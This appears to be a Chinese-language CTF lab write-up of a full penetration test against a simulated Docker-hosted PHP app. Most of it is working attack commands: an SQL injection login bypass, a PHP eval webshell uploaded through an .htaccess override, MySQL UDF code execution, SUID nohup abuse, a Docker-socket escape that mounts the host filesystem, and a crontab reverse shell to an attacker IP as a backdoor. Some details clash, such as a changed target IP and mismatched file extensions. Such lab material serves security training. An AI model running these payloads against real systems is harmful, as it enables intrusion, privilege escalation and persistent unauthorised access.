记录了一次从Web应用层漏洞开始,逐步深入,最终实现容器逃逸并控制宿主机的完整渗透测试过程。测试的目标是一个模拟的容器化Web应用,其中包含常见的Web安全漏洞(SQL注入、文件上传绕过)、数据库的UDF漏洞和容器环境特有的配置缺陷(不安全的SUID程序、Docker Socket挂载)。本次渗透的终极目标是获取宿主机的最高权限并发现全部三个隐藏的标志物(flag)并留下持久化
SQL注入
kali和靶机都是使用NAT网络连接,处于同一个网段(172.16.197.0/24),因此可以使用nmap指令扫描出那些IP、端口、服务版本等
执行代码
nmap -sV 172.16.197.0/24
# -sV:启用版本探测,不仅扫描开放端口,还识别端口上运行的服务和版本号结果图

图解析
发现了172.16.197.183这个IP,并且发现3个有用的端口:22的ssh链接端口、80的Apache的web服务端口,3306的MySQL数据库默认端口,分别带有版本号
向目标服务器发送一个 HEAD 请求,只获取 HTTP 响应头
执行代码
curl -I 172.16.197.183
# -I 仅显示响应头结果图

图解析
Web 服务器:Apache 2.4.38
后端语言:PHP 7.4.9
存在 Session 机制
目录枚举
执行代码
dirsearch -u http://172.16.197.183 -e php,txt,bak,swp,old
# - php:核心脚本文件(如 config.php、phpinfo.php)
# - txt:日志 / 配置文本文件
# - bak/old:开发者备份文件
# - swp:Linux 下 vim 编辑器的临时缓存文件结果图

得到这个文件我们可以在URL上进行访问
结果图

解析:
这是一段 PHP 源码,核心是一个带 WAF(Web 应用防火墙)防护的登录功能
(1)WAF 防护逻辑分析
代码中定义了 waf($str) 函数,对用户输入的用户名和密码进行过滤

黑名单过滤:禁止了
select、ascii、sub、con、load_file等 SQL 注入常用关键词。单引号转义:将用户输入中的单引号
'替换为 HTML 实体',这是为了防止直接闭合 SQL 语句。过滤方式:使用
str_replace进行单次替换,而非递归过滤,这为绕过提供了可能。
(2)SQL 注入点分析
登录逻辑中,SQL 语句是直接拼接用户输入的:

虽然 WAF 做了过滤,但 SQL 语句的结构依然是危险的字符串拼接
核心问题在于:WAF 只过滤了关键词,但没有彻底阻止 SQL 语句的构造
打开浏览器;URL:172.16.197.183,虽然通过前期的信息收集已经明白这个页面只是一个单纯的登录界面

普普通通的登录界面,已经从/.index.php.swp拿到了这个登录界面的源码,进行SQL注入,直接输入
账号:admin\ 密码OR 1=1 #就登录成功了
解析:
(1) 先还原代码的 SQL 拼接逻辑
首先明确:代码中最终执行的 SQL 语句是:
SELECT * FROM user WHERE `username` = '$username' AND `password` = '$password';
正常情况下,输入 admin/123456 会拼接成:
SELECT * FROM user WHERE `username` = 'admin' AND `password` = '123456';
(2) 核心:admin\ 是如何逃逸单引号的?
(a)反斜杠的作用
在 PHP + MySQL 中,反斜杠 \ 是转义符,专门用来转义紧跟在它后面的单引号 '。
(b)admin\ 对 SQL 拼接的影响
当你输入用户名 admin\ 时:
代码先经过 WAF,但 WAF 只过滤关键词,不会处理反斜杠;
拼接后,
username部分变成'admin\'(注意:数据库会把\解析为转义符);这个
\会吃掉username后面的闭合单引号,让username的单引号无法闭合。
(c)结合密码的 OR 1=1 # 完成注入
密码输入 OR 1=1 # 后,最终拼接的 SQL 语句变成:
SELECT * FROM user WHERE `username` = 'admin\' AND `password` = 'OR 1=1 #';
此时 MySQL 会这样解析:
admin\':反斜杠转义了后面的',所以username的单引号变成了'admin\(未闭合);AND password = 'OR 1=1 #:#是 MySQL 的注释符,会注释掉后面所有内容;最终等效于:
SELECT * FROM user WHERE 1=1(万能条件,匹配所有用户)
文件上传
1.登录成功就看到一个上传文件的图样,这时候就想着能不能传一句话木马上去

写一句话木马上传上去:
<?php @eval($_GET['cmd']); ?>结果图

说明过滤掉了php后缀,换个思路既然是Apache作为服务器,那就有一种思路那就是使用.htaccess文件覆盖服务器配置,修改该目录下的文件解析规则,使文件当做PHP执行
.htaccess文件:需要创造这个文件,Apache 有一个关键特性:
它会读取目录下的 .htaccess 文件,用里面的规则覆盖全局配置
所以思路是:
先上传一个 .htaccess 文件,告诉 Apache:“把 .jpg 后缀的文件当作 PHP 来解析”。
再上传一个后缀为 .jpg 的一句话木马,这样就能绕过 .php 过滤,并且被 Apache 执行
#输入代码
AddHandler application/x-httpd-php .png
验证木马是否上传成功
执行代码
curl "http://172.16.197.183/uploads/shell.php.jpg?cmd=id"结果图

文件上传成功,从.swp文件中知道,环境变量里面有敏感信息,这时候就去读取系统的环境变量,查看敏感信息
执行代码
curl "http://172.16.197.183/uploads/shell.php.jpg?cmd=env"结果图

从中知道了,数据库的账户:root 密码:xzPzdsKJmUMdPand,主机名为db,有个数据库是。ctf感觉这是容器,查看是否有/.dockerenv文件
在docker中/.dockerenv文件被视为容器标志性文件,每当docker创建一个容器的时候,docker守护进程就会自动往容器里面添加一个.dockerenv文件
curl "http://172.16.197.183/uploads/shell.php.jpg?cmd=ls%20-la%20/.dockerenv"结果图

5.知道数据库密码和用户,那么进入数据库
执行代码
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl结果图

查看表单,收集信息
执行代码
SHOW DATABASES;
USE ctf;
SHOW TABLES;
SELECT * FROM user;结果图

对数据库翻箱倒柜,成功拿到flag1,发现flag1可能就是登录界面的密码,账号:admin 密码:flag1{75813557-25c4-456c-8a44-6a4d4c62c859}
UDF提权
先检查一下MySQL的环境,这时候就不需要直接进入数据库了,直接在kali攻击机上连接MySQL就行
执行代码
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT version(); SELECT @@plugin_dir; SELECT @@secure_file_priv;"结果图

这个MySQL数据库版本号是:5.7.44,知道了plugin目录路径secure_file_priv的配置也是NULL,也知道了root密码这就是构成了UDF提权的前提
UDF: User Defined Function ,一种用户自定义函数是MySQL提供的扩展机制,允许用户通过共享库(.so文件)添加自定义函数,在SQL语句中像内置函数一样使用
常用的UDF函数
发现有UDF漏洞,可以用来提权,就先自己准备UDF文件,这时候可以使用sqlmap自动UDF库文件
执行代码
# 密sqlmap的64位UDF文件
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
-i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
-o /tmp/lib_mysqludf_sys_64.so
#检查文件类型
file /tmp/lib_mysqludf_sys_64.so
#转换为十六进制
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt结果图

已经准备好了UDF文件,就把UDF文件写入,并且创建函数,这里选用的sys_exec函数
执行代码
#读取十六进制内容
UDF_HEX=$(cat /tmp/udf64_hex.txt)
#写入UDF文件到MySQL plugin目录
mysql -h 192.168.230.141 -u root -pxzPzdsKJmUMdPand --skip-ssl \
-e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"
#创建sys_exec函数
mysql -h 192.168.230.141 -u root -pxzPzdsKJmUMdPand --skip-ssl -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';" 结果图

进行函数创建成功与否验证
执行代码
#检查id
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('id > /tmp/out.txt');" mysql
#检查whoami
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('whoami >> /tmp/out.txt');" mysql
#查看根目录下所有文件
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('ls -al / >> /tmp/out.txt');" mysql
#降低权限
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('chmod 644 /tmp/out.txt');" mysql
#查看文件
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/out.txt');" mysql结果图

再次验证这是一个容器,因为有.dockerenv文件,而且也看到一个flag,应该就是flag2并且只有root可读,并且属于root权限下的,而我们渗透过来是mysql用户并且999,下一步就是查看这个flag2
tips:为什么要降权了才能查看文件
如果不降权查看文件,返回码为NULL并且可以发现这些通过UDF提权下来的文件权限是640(rw-r—)属于mysql用户下的,变成644(rw-r-r-),这样就能查看文件内容了
SUID配置不当
这时候发现了flag是root权限,这时候可以使用SUID提权,如果真具有SUID权限的程序 存在漏洞或设计权限,就可以利用其root权限了
SUID:Set User ID 是linux文件权限的一种特殊标志。当一个可执行文件设置了SUID位后,任何用户执行该文件时候,都会以文件所有者的权限运行,而不是执行者自己的权限例如/etc/passwd就是一个标准的SUID文件
执行代码
#查找SUID权限的文件
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('find / -perm -u=s -type f 2>/dev/null >> /tmp/out.txt');" mysql
#查看文件
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/out.txt');" mysql结果图

在发现的SUID文件有个很奇怪的文件/usr/bin/nohup,在linux中nohup的功能是让命令在用户退出终端后继续运行,并不需要root权限,那就存在SUID漏洞,利用这个漏洞,进行查看flag2
执行代码
#执行SUID提权
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup cat /flag > /tmp/out.txt 2>&1');" mysql
#读取flag2内容
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/out.txt');" mysql 结果图

拿到了flag2,这时候需要对最后一个flag进军了,现在应该查看在这个容器还有没有其他flag存在
执行代码
#输入指令
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup find / -name \"*flag\" -type f 2>/dev/null >> /tmp/out.txt 2>&1');" mysql
#查看返回结果
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/out.txt');" mysql 结果图

只有一个flag2,说明最后一个flag在宿主机上面,也就是建立容器的机器上,下一步进行容器逃逸
容器逃逸
容器逃逸有多种方法:检查存在Docker Socket挂载、特权容器、敏感目录挂载、内核漏洞、容器运行时漏洞
里先检查是否Docker Socket挂载:
将Docker socket挂载到容器中是一种常见但危险的做法,通常用于:
CI/CD流水线中构建Docker镜像
容器编排工具
监控工具
拥有了对Docker socket访问权限等同于拥有宿主机的root权限,就可以去
创建特权容器
挂载宿主机任意目录
在宿主机上执行任意命令
执行代码
#输入指令
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup ls -al /var/run/docker.sock >> /tmp/out.txt 2>&1');" mysql
#查看结果
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/out.txt');" mysql 结果图
存在这个文件且可以访问,那就有可能访问宿主机文件系统,那就通过Docker API创建一个临时容器,挂载到宿主机根目录,搜素是否存在其他flag文件

要运用Docker API 请求需要一个JSON格式的请求体,有Images:镜像名称、cmd:容器启动后执行命令
所以要先去找宿主机有哪些镜像
执行代码
#输入指令
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec ('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\" > /tmp/out.txt 2>&1' );"mysql
#查看结果
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/out.txt');"结果图
有三个镜像:mysql:5,7 、 php:7.4.9-apache 、 app_web:latest,选择mysql:5.7来为逃逸容器,因为已经存在不用下载

构建逃逸容器,构造API请求查看宿主机的flag
执行代码
#构建API请求payload
PAYLOAD='{"Image":"mysql:5.7","Cmd":["cat","/host/flag"],"HostConfig":{"Binds":["/:/host"]}}'
PAYLOAD_B64=$(echo "$PAYLOAD" | base64 -w0)
#"Image":"mysql:5.7":使用mysql:5.7镜像
#"Cmd":["cat","/host/flag"]:容器启动后执行 cat /host/flag
#"Binds":["/:/host"]:将宿主机的/ 挂载到容器的/host
#导入 payload
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('echo $PAYLOAD_B64 | base64 -d > /tmp/payload.json');" mysql
#创建探测容器
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/payload.json http://localhost/containers/create\" > /tmp/find_container.json 2>&1');" mysql
#降权
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('chmod 644 /tmp/find_container.json');" mysql
#查看容器ID
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/find_container.json');" mysql
#获取ID
CONTAINER_ID='88b7607ca3558282a473d944ff4d34b3a9ebdc2d8d18fa31d166ad9211d53162'
#启动容器
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/start.txt 2>&1');" mysql
#获取flag搜素结果
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/out.txt 2>&1');" mysql
# 查看flag结果
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/out.txt');" mysql 结果图

拿到flag并且容器逃逸成功,我们可以做个后门
定时任务反弹shell的payload
执行代码
#创建一个反弹shell的payload
PAYLOAD='{"Image":"mysql:5.7","Cmd":["/bin/sh","-c","echo \"* * * * * root /bin/bash -i >& /dev/tcp/172.16.197.180/4445 0>&1\" >> /host/etc/crontab"],"HostConfig":{"Binds":["/:/host"]}}'
PAYLOAD_B64=$(echo "$PAYLOAD" | base64 -w0)
#生成一个无换行符的 Base64 编码字符串
#-w0 中的 0 表示“换行宽度为0”,即禁止自动换行,生成一个单行的、连续的 Base64 字符串。
#写入payload
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('echo $PAYLOAD_B64 | base64 -d > /tmp/payload.json');" mysql
#创建反弹shell容器
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/payload.json http://localhost/containers/create\" > /tmp/container.json 2>&1');" mysql
#降权为查看容器ID
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('chmod 644 /tmp/container.json');" mysql
#查看临时容器ID
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT LOAD_FILE('/tmp/container.json');"
#把ID写入环境
CONTAINER_ID='cbf91b12ddf6de0168020ccc6abab88309c8f45d3fdb827ceadd9c1f00a3481a'
#启动容器
mysql -h 172.16.197.183 -u root -pxzPzdsKJmUMdPand --skip-ssl -N -e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/start.txt 2>&1');" mysql
#等待容器启动
sleep 2
#开一台kali监听4445端口
nc lvnp 4445 结果图
成功拿到flag3,成功渗透成功,并且运用定时任务持久化,留下了后门

免责声明
警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。
请确保:
仅在自有系统或获得明确书面授权的系统上进行测试
了解并遵守所在地区的法律法规
负责任地使用所学知识,遵守职业道德规范